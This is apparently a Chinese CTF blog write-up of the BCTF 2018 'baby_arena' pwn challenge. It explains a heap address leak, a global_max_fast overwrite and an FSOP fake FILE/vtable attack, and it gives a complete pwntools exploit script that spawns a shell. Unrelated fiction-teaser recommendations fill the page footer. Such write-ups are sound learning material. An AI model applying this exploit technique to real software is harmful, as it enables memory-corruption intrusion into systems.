pwn萌新的再次体验--bctf baby_arena

写在前面

在pwn的泥潭里越陷越深,无法自拔。本次的bctf中,遇到了一个题目,算是我这个萌新的知识盲点,于是,总结一下,纪念一下自己菜菜的小进步

题目

bctf2018的baby_arena,64位,也是比较简单的一道题吧

漏洞

这个题,有一个任意地址写,位于login功能中,但是只能写'admin'或者'clientele',而且之后的实践中发现貌似只能写'clientele':


看变量:


就是说接受16个字符的v3是可以到覆盖到v4的。于是就可以任意写了,但是8个字符覆盖刚好到v4,于是后面的回车符被换成\x00被送到v1里,于是只能写'clientele'了。
还有就是这个题


free以后没有清空堆的内容,然后


这里我们申请刚free的堆块,只向里面写少量数据,就能泄露fd了,于是就能得到地址了

思路

leak libc地址和heap_base地址

这个当然很简单了,就是直接申请堆,然后释放,然后再次申请到那里,就可以读到了:

create(0xa8,'0'*0xa8)
create(0xa8,'1'*0xa8)
dele(0)
create(0xa8,'0')
p.recvuntil('your note is\n')
a = p.recvline()
arena = u64(a+(8-len(a))*'0')%0x1000000000000
libcc = arena - 0x3c4b30
libc.address = libcc
max_fast = arena + 7368
success("libc:"+hex(libcc))
success("global_max_fast:"+hex(max_fast))
#--------
create(0x400,'3'*0x400)
create(0x400,'4'*0x400)
create(0x400,'4'*0x400)
dele(2)
dele(3)
create(0x100,'A'*16+'\n')
p.recvuntil('your note is\n')
p.recvuntil('A'*16)
heap_base = p.recvuntil('\n')[:-1]
heap_base = u64(heap_base + (8-len(heap_base))*'\x00')-0x220
success('heap_base:'+hex(heap_base))

大致就是这样。

修改global_max_fast

了解过fastbin的童鞋都知道global_max_fast是规定fastbins的最大大小的,而在得到一个fastbin的时候,为了构造fastbin链,方便查找,main_arena会存放fastbin链,main_arena存放fastbin的链时按照fastbin的大小计算位置,所以,如果我们申请的fastbin足够大,就会从main_arena溢出出去,而main_arena下就有file结构体之类比较重要的结构体,我们可以改这些结构体的虚表地址,使得其在查虚表时,查到我们的堆中,而我们在堆中布好假的虚表,就可以改变程序流。
但是这里题目还有一个限制:


我们最大只能申请5999的堆,但是这样的话我们就无法溢出到stdout和stdin了,只能到stderr,但是,stderr我一直触发不了,真的是无语,(吐槽一句,想触发stderr的时候触发不了,不想的时候全是error。。。),于是我换了另一种思路,也是刚好把file结构体学一遍,下面是原理和利用思路

FSOP

基础知识知识

首先看源码:

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

这是FILE结构体的内容,FILE结构会通过_chain连接形成一个链表,链表头部用全局变量_IO_list_all表示。
接下来看一个函数的源码:

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif
  for (fp = (_IO_FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      if (do_lock)
        _IO_flockfile (fp);
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)
        result = EOF;
      if (do_lock)
        _IO_funlockfile (fp);
      run_fp = NULL;
    }
#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif
  return result;
}

我们看到如果运行到这里

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)

就会调用_IO_OVERFLOW,就会调用vtable,也就是虚表。那么只要满足fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base我们的虚表中的_IO_OVERFLOW就会调用,而且程序是通过_IO_list_all来查找file结构体的。
什么时候会调用_IO_flush_all_lockp呢?

1.libc执行abort流程时
2.执行exit函数时
3.执行流从main函数返回时

这个触发的条件就会简单很多了。于是,do it!!!

利用

首先,我们得改_IO_list_all,这个位置就在stderr的上面,只要知道libc的地址,我们就能得到_IO_list_all的地址,再通过main_arena的溢出,就可以试这个指针指向chunk。
然后我们只要在chunk上布好满足fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base的file结构体就好,
其实这个是比较简单的。我们只要把file结构体的内容置0,然后我们使_IO_write_ptr为1,或者更大,开心就好。
但是,我们要考虑的一点是,我们修改后的_IO_list_all中的值是指向chunk的指针,也就是说chunk的prev_size,size是在fakefile结构体里的,当然这个不会有什么大影响,但是,我当时写的时候,就忽略了这一点,使得_IO_write_ptr和vtable都比应在的位置高0x10。
于是,在有prev_size,size的条件下,chunk被我布成这个样子了:

//prev_size,size
fake_file =p64(0)*3
fake_file += p64(233)
fake_file += p64(0)*21
fake_file += p64(0x6020b0-0x18)

这个0x6020b0-0x18其实就是我们构建的虚表,这个地址是在login功能中可写的,(上面有提到),当时我们v3溢出到v4赋值到任意地址,v3本身的8个bit也是我们可以写的,于是我把one_gadget写在了v3中,如果找不到地址也可以布在堆里,都是可以的。0x6020b0是v3的地址,而OVERFLOW在vtable的位置位于偏移0x18处,于是得到0x6020b0-0x18
这时如果我们exit,我们就可以getshell了

pwn!!!

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *

#context.log_level = 'debug'
#context.terminal = ['gnome-terminal','-x','bash','-c']

p = process('./baby_arena')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one = 0x4526a

def create(size,note):
    p.sendline('1')
    p.recvuntil('Pls Input your note size\n')
    p.sendline(str(size))
    p.recvuntil('Input your note\n')
    p.sendline(note)

def dele(num):
    p.sendline('2')
    p.recvuntil('Input id:\n')
    p.sendline(str(num))

def login(name):
    p.sendline('3')
    p.recvuntil('Please input your name\n')
    p.sendline(name)
    p.recvuntil('1.admin\n')
    #p.sendline(str(num))

#gdb.attach(p)
create(0xa8,'0'*0xa8)
create(0xa8,'1'*0xa8)
dele(0)
create(0xa8,'0')
p.recvuntil('your note is\n')
a = p.recvline()
arena = u64(a+(8-len(a))*'0')%0x1000000000000
libcc = arena - 0x3c4b30
libc.address = libcc
max_fast = arena + 7368
success("libc:"+hex(libcc))
success("global_max_fast:"+hex(max_fast))
#--------
create(0x400,'3'*0x400)
create(0x400,'4'*0x400)
create(0x400,'4'*0x400)
dele(2)
dele(3)
create(0x100,'A'*16+'\n')
p.recvuntil('your note is\n')
p.recvuntil('A'*16)
heap_base = p.recvuntil('\n')[:-1]
heap_base = u64(heap_base + (8-len(heap_base))*'\x00')-0x220
success('heap_base:'+hex(heap_base))


fake_file =p64(0)*3
fake_file += p64(233)
fake_file += p64(0)*21
fake_file += p64(0x6020b0-0x18)

#------
create(5120,fake_file)
payload = p64(libcc + one) +p64(max_fast-8)
login(payload)#one bit \x0a > \x00 。。。。。。
dele(3)

p.sendline('4')
print pidof(p)
p.interactive()

于是:


最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,163评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,301评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,089评论 0 352
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,093评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,110评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,079评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,005评论 3 417
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,840评论 0 273
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,278评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,497评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,667评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,394评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,980评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,628评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,796评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,649评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,548评论 2 352

推荐阅读更多精彩内容